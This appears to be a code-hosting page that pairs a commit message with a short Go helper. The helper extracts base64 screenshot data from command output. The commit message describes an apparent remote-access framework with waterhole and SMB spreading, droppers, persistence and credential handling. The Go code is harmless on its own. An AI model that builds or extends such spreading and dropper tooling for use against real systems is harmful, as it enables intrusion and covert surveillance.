Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
31 lines
726 B
Go
31 lines
726 B
Go
package client
|
|
|
|
import "strings"
|
|
|
|
func extractScreenshotBase64(out []byte) string {
|
|
s := strings.TrimSpace(string(out))
|
|
s = strings.TrimPrefix(s, "\ufeff")
|
|
best := ""
|
|
for _, part := range strings.Fields(s) {
|
|
var b strings.Builder
|
|
for _, r := range part {
|
|
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
|
b.WriteRune(r)
|
|
}
|
|
}
|
|
cleaned := b.String()
|
|
if len(cleaned) > len(best) {
|
|
best = cleaned
|
|
}
|
|
}
|
|
if len(best) >= 100 {
|
|
return best
|
|
}
|
|
return strings.Map(func(r rune) rune {
|
|
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
|
return r
|
|
}
|
|
return -1
|
|
}, s)
|
|
}
|